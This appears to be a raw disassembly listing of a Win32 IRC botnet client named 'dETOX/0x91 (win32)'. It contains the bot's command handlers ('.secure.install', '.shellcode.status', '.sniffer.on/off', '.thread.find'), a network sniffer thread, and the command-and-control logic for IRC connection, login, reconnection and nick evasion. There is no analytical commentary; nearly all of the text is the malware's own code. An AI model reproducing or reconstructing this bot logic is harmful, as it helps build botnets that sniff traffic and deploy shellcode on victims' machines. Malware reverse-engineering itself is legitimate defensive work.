lea eax, [ebp+var_154]
jmp loc_40460A
; ---------------------------------------------------------------------------
loc_404F7A: ; CODE XREF: sub_404530+999j
push offset a_secure_instal ; ".secure.install"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_404FA2
call sub_40914C
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_40143C
call sub_405185
add esp, 0Ch
loc_404FA2: ; CODE XREF: sub_404530+A59j
push offset a_shellcode_sta ; ".shellcode.status"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_405004
xor ecx, ecx
mov [ebp+var_1DC], ecx
and [ebp+var_1C], ecx
loc_404FBE: ; CODE XREF: sub_404530+AADj
mov eax, [ebp+var_1C]
imul eax, 2Ch
cmp word ptr dword_402BE0[eax], 0
jz short loc_404FDF
add ecx, dword_402BE8[eax]
mov [ebp+var_1DC], ecx
inc [ebp+var_1C]
jmp short loc_404FBE
; ---------------------------------------------------------------------------
loc_404FDF: ; CODE XREF: sub_404530+A9Cj
push ecx
movzx eax, word_40B24A
push eax
push dword_40B244
call sub_40715A
pop ecx
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_4013D4
jmp loc_4046AD
; ---------------------------------------------------------------------------
loc_405004: ; CODE XREF: sub_404530+A81j
push offset a_sniffer_on ; ".sniffer.on"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_405055
mov edi, offset aSniffer ; "Sniffer"
push edi
call sub_40A64F
pop ecx
test eax, eax
push dword ptr [esi+4]
push dword ptr [esi]
jnz short loc_40504B
push offset unk_401394
call sub_405185
push edi
push 1
push 0
push offset sub_4098E2
call sub_40A45C
add esp, 1Ch
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_40504B: ; CODE XREF: sub_404530+AF8j
push offset unk_401360
jmp loc_4047AA
; ---------------------------------------------------------------------------
loc_405055: ; CODE XREF: sub_404530+AE3j
push offset a_sniffer_off ; ".sniffer.off"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4050A3
mov edi, offset aSniffer ; "Sniffer"
push edi
call sub_40A64F
pop ecx
test eax, eax
push dword ptr [esi+4]
push dword ptr [esi]
jnz short loc_405085
push offset unk_401320
jmp loc_4047AA
; ---------------------------------------------------------------------------
loc_405085: ; CODE XREF: sub_404530+B49j
push offset unk_4012F4
call sub_405185
push edi
call sub_40A64F
push eax
call sub_40A56C
add esp, 14h
jmp loc_40514A
; ---------------------------------------------------------------------------
loc_4050A3: ; CODE XREF: sub_404530+B34j
push offset a_thread_find ; ".thread.find"
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4050E5
cmp [ebp+var_98], eax
jz loc_40514A
push [ebp+var_98]
call sub_40A64F
pop ecx
mov [ebp+var_1E0], eax
test eax, eax
jnz short loc_405137
push dword ptr [esi+4]
push dword ptr [esi]
push offset unk_4012B8
jmp loc_4047AA
; ---------------------------------------------------------------------------
loc_4050E5: ; CODE XREF: sub_404530+B82j
push offset dword_4012A8
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_4050FF
push esi
call sub_40A5D5
pop ecx
jmp short loc_40514A
; ---------------------------------------------------------------------------
loc_4050FF: ; CODE XREF: sub_404530+BC4j
push offset dword_401298
push ebx
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_40514A
cmp [ebp+var_98], eax
jz short loc_40514A
push [ebp+var_98]
call sub_40ABAC
push eax
call sub_40A56C
push [ebp+var_98]
call sub_40ABAC
add esp, 0Ch
loc_405137: ; CODE XREF: sub_404530+BA4j
push eax
push dword ptr [esi+4]
push dword ptr [esi]
push offset dword_401270
loc_405142: ; CODE XREF: sub_404530+95j
; sub_404530+E5j ...
call sub_405185
loc_405147: ; CODE XREF: sub_404530+7B8j
add esp, 10h
loc_40514A: ; CODE XREF: sub_404530+185j
; sub_404530+1A9j ...
wait
jmp short loc_405154
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_405154: ; CODE XREF: sub_404530+C1Bj
or [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_404530 endp
; =============== S U B R O U T I N E =======================================
sub_405167 proc near ; CODE XREF: sub_4052A5+1Bp
mov eax, dword_40372C
cmp eax, 5
jnz short loc_405175
xor eax, eax
jmp short loc_405176
; ---------------------------------------------------------------------------
loc_405175: ; CODE XREF: sub_405167+8j
inc eax
loc_405176: ; CODE XREF: sub_405167+Cj
mov dword_40372C, eax
imul eax, 1Ch
mov eax, off_401B98[eax]
retn
sub_405167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405185 proc near ; CODE XREF: sub_404530+B0p
; sub_404530:loc_4046ADp ...
var_101C = dword ptr -101Ch
var_1018 = byte ptr -1018h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4043D8
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
mov eax, 1004h
call sub_40ABE0
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
mov [ebp+var_4], ebx
push [ebp+arg_0]
call sub_40ABD2
pop ecx
cmp eax, 1000h
jnb loc_405281
lea eax, [ebp+arg_4]
mov [ebp+var_101C], eax
lea eax, [ebp+arg_4]
push eax
push [ebp+arg_0]
lea eax, [ebp+var_1018]
push eax
call sub_40ABCC
add esp, 0Ch
mov [ebp+var_101C], ebx
mov esi, dword_4010FC
call esi ; dword_4010FC
mov ecx, eax
sub ecx, dword_40B27C
mov eax, 3E8h
cmp ecx, eax
ja short loc_405212
push eax
call dword_4010F4 ; Sleep
loc_405212: ; CODE XREF: sub_405185+84j
call esi ; dword_4010FC
mov dword_40B27C, eax
cmp dword_40B280, 0FFFFFFFFh
jz short loc_405246
loc_405222: ; CODE XREF: sub_405185+FAj
push ebx
lea eax, [ebp+var_1018]
push eax
call sub_40ABD2
pop ecx
push eax
lea eax, [ebp+var_1018]
push eax
push dword_40B280
call dword_401244
jmp short loc_405283
; ---------------------------------------------------------------------------
loc_405246: ; CODE XREF: sub_405185+9Bj
push 1388h
call dword_4010F4 ; Sleep
mov al, byte_40B240
cmp al, bl
jnz short loc_405279
cmp byte_40B274, bl
jnz short loc_405275
push dword_40B280
call sub_408616
pop ecx
call sub_4052A5
jmp short loc_405281
; ---------------------------------------------------------------------------
loc_405275: ; CODE XREF: sub_405185+DBj
cmp al, bl
jz short loc_405281
loc_405279: ; CODE XREF: sub_405185+D3j
cmp byte_40B274, bl
jnz short loc_405222
loc_405281: ; CODE XREF: sub_405185+42j
; sub_405185+EEj ...
xor eax, eax
loc_405283: ; CODE XREF: sub_405185+BFj
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_405296
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
loc_405296: ; CODE XREF: sub_405185+102j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_405185 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4052A5 proc near ; CODE XREF: sub_404530+33Ep
; sub_405185+E9p ...
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
push ebp
mov ebp, esp
sub esp, 114h
mov al, byte_40B274
test al, al
jnz locret_4053DC
call sub_40969D
call sub_405167
push eax
call sub_409570
test eax, eax
pop ecx
jz loc_4053C3
mov eax, dword_40372C
imul eax, 1Ch
push off_401B98[eax]
call sub_409570
pop ecx
push eax
call dword_40124C
mov [ebp+var_C], eax
mov eax, dword_40372C
imul eax, 1Ch
mov [ebp+var_10], 2
mov ax, word_401B9C[eax]
push eax
call dword_401230
push 6
push 1
push 2
mov [ebp+var_E], ax
call dword_401234
lea ecx, [ebp+var_10]
push 10h
push ecx
push eax
mov dword_40B280, eax
call dword_401238
cmp eax, 0FFFFFFFFh
jz loc_4053C3
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA0[eax]
call sub_40ABD2
test eax, eax
pop ecx
jz short loc_40536B
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA0[eax]
push offset aPassS ; "PASS %s\r\n"
call sub_405185
pop ecx
pop ecx
loc_40536B: ; CODE XREF: sub_4052A5+AAj
mov eax, dword_40B278
push esi
push eax
push offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
push eax
push eax
push eax
push offset aUserSSSSNickS ; "USER %s %s %s :%s\r\nNICK %s\r\n"
call sub_405185
mov esi, 104h
lea eax, [ebp+var_114]
push esi
push 0
push eax
call sub_40AC10
add esp, 24h
lea eax, [ebp+var_114]
push 0
push esi
push eax
push dword_40B280
call dword_40123C
cmp eax, 1
pop esi
jge short loc_4053D5
push dword_40B280
call dword_401240
loc_4053C3: ; CODE XREF: sub_4052A5+29j
; sub_4052A5+8Ej
push 1388h
call dword_4010F4 ; Sleep
call sub_4052A5
leave
retn
; ---------------------------------------------------------------------------
loc_4053D5: ; CODE XREF: sub_4052A5+110j
mov al, 1
mov byte_40B274, al
locret_4053DC: ; CODE XREF: sub_4052A5+10j
leave
retn
sub_4052A5 endp
; =============== S U B R O U T I N E =======================================
sub_4053DE proc near ; CODE XREF: sub_405421+4Dp
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
xor eax, eax
mov cl, [esi]
loc_4053E7: ; CODE XREF: sub_4053DE+1Cj
test cl, cl
jz short loc_4053FC
cmp cl, 0Dh
jz short loc_405400
cmp cl, 0Ah
jz short loc_405400
mov cl, [eax+esi+1]
inc eax
jmp short loc_4053E7
; ---------------------------------------------------------------------------
loc_4053FC: ; CODE XREF: sub_4053DE+Bj
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_405400: ; CODE XREF: sub_4053DE+10j
; sub_4053DE+15j
push edi
xor ecx, ecx
lea edi, [eax+esi]
loc_405406: ; CODE XREF: sub_4053DE+3Aj
mov dl, [edi+ecx]
cmp dl, 0Dh
jz short loc_405413
cmp dl, 0Ah
jnz short loc_40541A
loc_405413: ; CODE XREF: sub_4053DE+2Ej
and byte ptr [edi+ecx], 0
inc ecx
jmp short loc_405406
; ---------------------------------------------------------------------------
loc_40541A: ; CODE XREF: sub_4053DE+33j
add eax, ecx
pop edi
add eax, esi
pop esi
retn
sub_4053DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405421 proc near ; CODE XREF: sub_40549A+A4p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4043E8
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_40545E
loc_40544E: ; CODE XREF: sub_405421+67j
; MEW:00405498j
mov edi, esi
cmp byte ptr [esi], 0
jnz short loc_40546D
push [ebp+arg_0]
call sub_40AC16
pop ecx
loc_40545E: ; CODE XREF: sub_405421+2Bj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40546D: ; CODE XREF: sub_405421+32j
push esi
call sub_4053DE
pop ecx
mov esi, eax
mov [ebp+var_1C], esi
and [ebp+var_4], 0
push edi
call sub_4055A6
pop ecx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_40544E
sub_405421 endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-1Ch]
jmp short loc_40544E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40549A proc near ; DATA XREF: sub_40933F+110o
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4043F8
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
loc_4054C4: ; CODE XREF: sub_40549A+B1j
xor ebx, ebx
mov [ebp+var_20], ebx
mov [ebp+var_24], ebx
push ebx
call sub_40AC22
pop ecx
mov edi, eax
mov [ebp+var_1C], edi
cmp edi, ebx
jz short loc_4054FA
loc_4054DC: ; CODE XREF: sub_40549A+BBj
; sub_40549A+C8j ...
add ebx, 400h
mov [ebp+var_24], ebx
lea eax, [ebx+1]
push eax
push edi
call sub_40AC1C
pop ecx
pop ecx
mov edi, eax
mov [ebp+var_1C], edi
test edi, edi
jnz short loc_405511
loc_4054FA: ; CODE XREF: sub_40549A+40j
or [ebp+var_4], 0FFFFFFFFh
xor eax, eax
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_405511: ; CODE XREF: sub_40549A+5Ej
lea esi, [edi+ebx]
push 0
push 400h
lea eax, [esi-400h]
push eax
push dword_40B280
call dword_40123C
mov [ebp+var_20], eax
test eax, eax
jle short loc_405550
and byte ptr [esi+eax-400h], 0
push edi
call sub_405421
push edi
call sub_40AC16
pop ecx
pop ecx
jmp loc_4054C4
; ---------------------------------------------------------------------------
loc_405550: ; CODE XREF: sub_40549A+99j
jz short loc_405568
cmp eax, 0FFFFFFFFh
jnz short loc_4054DC
call dword_40122C
cmp eax, 2738h
jz loc_4054DC
loc_405568: ; CODE XREF: sub_40549A:loc_405550j
push edi
call sub_40AC16
and byte_40B274, 0
and byte_40B240, 0
mov [esp+30h+var_30], 1388h
call dword_4010F4 ; Sleep
call sub_4052A5
jmp loc_4054DC
sub_40549A endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
push 0
call dword_4010EC ; ExitThread
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055A6 proc near ; CODE XREF: sub_405421+5Dp
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = byte ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = byte ptr -4B8h
var_3B8 = byte ptr -3B8h
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_234 = byte ptr -234h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404408
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 4BCh
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov esi, [ebp+arg_0]
push esi
call sub_40ABD2
pop ecx
add eax, 4
and al, 0FCh
call sub_40ABE0
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_2B8], ebx
push esi
call sub_40ABD2
pop ecx
add eax, 4
and al, 0FCh
call sub_40ABE0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
lea eax, [esi+1]
push eax
push ebx
call sub_40ABA0
push esi
push [ebp+var_1C]
call sub_40ABA0
mov edi, offset asc_401ADC ; " "
push edi
push [ebp+var_1C]
call sub_40ABB8
add esp, 18h
mov [ebp+var_2B4], eax
mov [ebp+var_130], 1
loc_40563F: ; CODE XREF: sub_4055A6+BFj
cmp [ebp+var_130], 20h
jge short loc_405667
push edi
push 0
call sub_40ABB8
pop ecx
pop ecx
mov ecx, [ebp+var_130]
mov [ebp+ecx*4+var_2B4], eax
inc [ebp+var_130]
jmp short loc_40563F
; ---------------------------------------------------------------------------
loc_405667: ; CODE XREF: sub_4055A6+A0j
push offset aPing ; "PING"
push [ebp+var_2B4]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_405694
push [ebp+var_2B0]
push offset aPongS ; "PONG %s\r\n"
call sub_405185
pop ecx
loc_40568E: ; CODE XREF: sub_4055A6+305j
pop ecx
jmp loc_405CD3
; ---------------------------------------------------------------------------
loc_405694: ; CODE XREF: sub_4055A6+D5j
push offset aPrivmsg ; "PRIVMSG"
mov esi, [ebp+var_2B0]
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_4056C1
push offset dword_401DB8
push [ebp+var_2A8]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz short loc_4056D7
loc_4056C1: ; CODE XREF: sub_4055A6+103j
push offset dword_401DAC
push [ebp+var_2A8]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_4056F5
loc_4056D7: ; CODE XREF: sub_4055A6+119j
push offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
lea eax, [ebp+var_3B8]
push eax
push offset dword_401D90
loc_4056E8: ; CODE XREF: sub_4055A6+1C0j
; sub_4055A6+436j
call sub_405185
add esp, 0Ch
jmp loc_405CD3
; ---------------------------------------------------------------------------
loc_4056F5: ; CODE XREF: sub_4055A6+12Fj
push offset aError ; "ERROR"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_40572A
loc_405706: ; CODE XREF: sub_4055A6+3A2j
; sub_4055A6+3B7j ...
and byte_40B274, 0
and byte_40B240, 0
push dword_40B280
call sub_408616
pop ecx
loc_405720: ; CODE XREF: sub_4055A6+38Ej
call sub_4052A5
jmp loc_405CD3
; ---------------------------------------------------------------------------
loc_40572A: ; CODE XREF: sub_4055A6+15Ej
push offset aKick ; "KICK"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_405768
push 1388h
call dword_4010F4 ; Sleep
and byte_40B240, 0
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA8[eax]
push off_401BA4[eax]
push offset dword_40195C
jmp short loc_4056E8
; ---------------------------------------------------------------------------
loc_405768: ; CODE XREF: sub_4055A6+193j
push offset a009 ; "009"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_4057E0
push 3E8h
call dword_4010F4 ; Sleep
push dword_40B278
push offset aModeSI ; "MODE %s +i\r\n"
call sub_405185
pop ecx
pop ecx
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA8[eax]
push off_401BA4[eax]
push offset dword_40195C
call sub_405185
mov edi, offset aSniffer ; "Sniffer"
push edi
call sub_40A64F
add esp, 10h
test eax, eax
jnz loc_405CD3
push edi
push 1
push eax
push offset sub_4098E2
call sub_40A45C
loc_4057D8: ; CODE XREF: sub_4055A6+64Aj
add esp, 10h
jmp loc_405CD3
; ---------------------------------------------------------------------------
loc_4057E0: ; CODE XREF: sub_4055A6+1D1j
push offset a001 ; "001"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405BF5
push offset a422 ; "422"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405BF5
push offset a366 ; "366"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_405841
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA4[eax]
push [ebp+var_2A8]
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_405841
mov byte_40B240, 1
loc_405841: ; CODE XREF: sub_4055A6+273j
; sub_4055A6+292j
push offset a332 ; "332"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_4058B0
push offset asc_401D58 ; " :"
push ebx
call sub_40AB9A
pop ecx
pop ecx
sub eax, ebx
mov [ebp+var_134], eax
cmp eax, 1
jl loc_405CD3
and [ebp+var_4C4], 0
lea eax, [eax+ebx+2]
mov [ebp+var_4C0], eax
mov eax, dword_40372C
imul eax, 1Ch
mov eax, off_401BA4[eax]
mov [ebp+var_4C8], eax
mov [ebp+var_4CC], offset aPrivmsg ; "PRIVMSG"
lea eax, [ebp+var_4CC]
push eax
call sub_404530
jmp loc_40568E
; ---------------------------------------------------------------------------
loc_4058B0: ; CODE XREF: sub_4055A6+2AAj
push offset a433 ; "433"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_4058F3
push 0Ah
push 4
call sub_40A818
push eax
call sub_40A77F
add esp, 0Ch
mov dword_40B278, eax
push eax
push offset aDetox0x91Win32 ; "dETOX/0x91 (win32)"
push eax
push eax
push eax
push offset aUserSSSSNickS ; "USER %s %s %s :%s\r\nNICK %s\r\n"
call sub_405185
add esp, 18h
jmp loc_405CD3
; ---------------------------------------------------------------------------
loc_4058F3: ; CODE XREF: sub_4055A6+319j
push offset a432 ; "432"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_405939
push 0Ah
push 4
call sub_40A818
push eax
call sub_40A77F
mov dword_40B278, eax
and byte_40B274, 0
and byte_40B240, 0
push dword_40B280
call sub_408616
add esp, 10h
jmp loc_405720
; ---------------------------------------------------------------------------
loc_405939: ; CODE XREF: sub_4055A6+35Cj
push offset a471 ; "471"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405706
push offset a473 ; "473"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405706
push offset a474 ; "474"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405706
push offset a475 ; "475"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405706
push offset a480 ; "480"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz loc_405706
push offset a513 ; "513"
push esi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jnz short loc_4059E1
cmp [ebp+var_298], eax
jz loc_405CD3
cmp [ebp+var_294], eax
jz loc_405CD3
push [ebp+var_294]
push [ebp+var_298]
push offset aSS_0 ; "%s %s\r\n"
jmp loc_4056E8
; ---------------------------------------------------------------------------
loc_4059E1: ; CODE XREF: sub_4055A6+40Bj
mov [ebp+var_2C], esi
mov eax, [ebp+var_2AC]
mov [ebp+var_28], eax
mov esi, 100h
push esi
push 0
lea eax, [ebp+var_3B8]
push eax
call sub_40AC10
push esi
push 0
lea eax, [ebp+var_12C]
push eax
call sub_40AC10
push esi
push 0
lea eax, [ebp+var_4B8]
push eax
call sub_40AC10
push esi
push 0
lea eax, [ebp+var_234]
push eax
call sub_40AC10
push offset asc_401D2C ; "!"
push ebx
call sub_40AB9A
add esp, 38h
mov esi, eax
sub esi, ebx
mov [ebp+var_134], esi
cmp esi, 1
jl loc_405CD3
push esi
push ebx
lea eax, [ebp+var_3B8]
push eax
call sub_40AC28
lea ebx, [ebx+esi+1]
mov [ebp+var_2B8], ebx
push offset a@ ; "@"
push ebx
call sub_40AB9A
add esp, 14h
mov esi, eax
sub esi, ebx
mov [ebp+var_134], esi
cmp esi, 1
jl loc_405CD3
push esi
push ebx
lea eax, [ebp+var_12C]
push eax
call sub_40AC28
lea ebx, [ebx+esi+1]
mov [ebp+var_2B8], ebx
push edi
push ebx
call sub_40AB9A
add esp, 14h
mov esi, eax
sub esi, ebx
mov [ebp+var_134], esi
cmp esi, 1
jl loc_405CD3
push esi
push ebx
lea eax, [ebp+var_4B8]
push eax
call sub_40AC28
lea esi, [ebx+esi+1]
mov [ebp+var_2B8], esi
push offset asc_401D24 ; ":"
push esi
call sub_40AB9A
add esp, 14h
sub eax, esi
mov [ebp+var_134], eax
push 1
pop ebx
cmp eax, ebx
jl loc_405CD3
lea esi, [esi+eax+1]
mov [ebp+var_2B8], esi
push esi
lea eax, [ebp+var_234]
push eax
call sub_40ABA0
push offset dword_401C40
lea eax, [ebp+var_4B8]
push eax
call sub_40A95F
add esp, 10h
test al, al
jz loc_405CD3
push edi
lea eax, [ebp+var_234]
push eax
call sub_40ABB8
pop ecx
pop ecx
mov [ebp+var_2B4], eax
mov [ebp+var_130], ebx
loc_405B44: ; CODE XREF: sub_4055A6+5C4j
cmp [ebp+var_130], 2
jge short loc_405B6C
push edi
push 0
call sub_40ABB8
pop ecx
pop ecx
mov ecx, [ebp+var_130]
mov [ebp+ecx*4+var_2B4], eax
inc [ebp+var_130]
jmp short loc_405B44
; ---------------------------------------------------------------------------
loc_405B6C: ; CODE XREF: sub_4055A6+5A5j
push dword_40B278
mov edi, [ebp+var_2B4]
push edi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz short loc_405BAB
push offset asc_401D20 ; "*"
push edi
call sub_40AFA4
pop ecx
pop ecx
test eax, eax
jz short loc_405BAB
push edi
push dword_40B278
call sub_40A95F
pop ecx
pop ecx
test al, al
jz loc_405CD3
loc_405BAB: ; CODE XREF: sub_4055A6+5DCj
; sub_4055A6+5EDj
push dword_40B278
push [ebp+var_28]
call sub_40ABB2
pop ecx
pop ecx
test eax, eax
jnz short loc_405BC8
lea eax, [ebp+var_3B8]
mov [ebp+var_28], eax
loc_405BC8: ; CODE XREF: sub_4055A6+617j
push edi
call sub_40ABD2
lea eax, [eax+esi+1]
mov [ebp+var_20], eax
and [ebp+var_24], 0
lea eax, [ebp+var_2C]
push eax
call sub_404530
push esi
call sub_40AC16
push [ebp+var_1C]
call sub_40AC16
jmp loc_4057D8
; ---------------------------------------------------------------------------
loc_405BF5: ; CODE XREF: sub_4055A6+249j
; sub_4055A6+25Ej
cmp byte_40B240, 0
jnz short loc_405C31
push dword_40B278
push offset aModeSI ; "MODE %s +i\r\n"
call sub_405185
pop ecx
pop ecx
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA8[eax]
push off_401BA4[eax]
push offset dword_40195C
call sub_405185
add esp, 0Ch
loc_405C31: ; CODE XREF: sub_4055A6+656j
mov edi, offset aSniffer ; "Sniffer"
push edi
call sub_40A64F
pop ecx
test eax, eax
jnz short loc_405C52
push edi
push 1
push eax
push offset sub_4098E2
call sub_40A45C
add esp, 10h
loc_405C52: ; CODE XREF: sub_4055A6+699j
push offset a@ ; "@"
push ebx
call sub_40AB9A
mov esi, eax
mov [ebp+var_4BC], esi
push dword_40B244
call sub_40715A
push eax
call sub_4095E2
add esp, 10h
test al, al
jz short loc_405C95
inc esi
push esi
push off_403730
call sub_40ABA0
pop ecx
pop ecx
push esi
call dword_40124C
jmp short loc_405CC5
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_4055A6+6D5j
lea edi, [esi+1]
push edi
mov esi, dword_40124C
call esi ; dword_40124C
cmp dword_40B244, eax
jz short loc_405CD3
push edi
call sub_4095E2
pop ecx
test al, al
jnz short loc_405CD3
push edi
push off_403730
call sub_40ABA0
pop ecx
pop ecx
push edi
call esi ; dword_40124C
loc_405CC5: ; CODE XREF: sub_4055A6+6EDj
mov dword_40B244, eax
jmp short loc_405CD3
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_405CD3: ; CODE XREF: sub_4055A6+E9j
; sub_4055A6+14Aj ...
or [ebp+var_4], 0FFFFFFFFh
lea esp, [ebp-4D8h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4055A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_405CEC proc near ; DATA XREF: sub_40933F+121o
var_18 = dword ptr -18h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_404418
push offset loc_40ABC0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
mov [ebp+var_4], ebx
mov esi, offset aSniffer ; "Sniffer"
loc_405D1B: ; CODE XREF: sub_405CEC+B3j
push offset aMapi ; "MAPI"
call sub_408953
pop ecx
test al, al
jnz short loc_405D31
call sub_408A88
jmp short loc_405D36
; ---------------------------------------------------------------------------
loc_405D31: ; CODE XREF: sub_405CEC+3Cj
call sub_40899B
loc_405D36: ; CODE XREF: sub_405CEC+43j
cmp byte_40B240, bl
jnz short loc_405D67
cmp byte_40B274, bl
jz short loc_405D67
mov eax, dword_40372C
imul eax, 1Ch
push off_401BA8[eax]
push off_401BA4[eax]
push offset dword_40195C
call sub_405185
add esp, 0Ch
loc_405D67: ; CODE XREF: sub_405CEC+50j
; sub_405CEC+58j
call sub_40AAA5
test al, al
jz short loc_405D78
push 1
call dword_4010F0 ; ExitProcess
loc_405D78: ; CODE XREF: sub_405CEC+82j
push esi
call sub_40A64F
pop ecx
test eax, eax
jnz short loc_405D94
push esi
push 1
push ebx
push offset sub_4098E2
call sub_40A45C
add esp, 10h
loc_405D94: ; CODE XREF: sub_405CEC+95j
push 4650h
call dword_4010F4 ; Sleep
jmp loc_405D1B
sub_405CEC endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
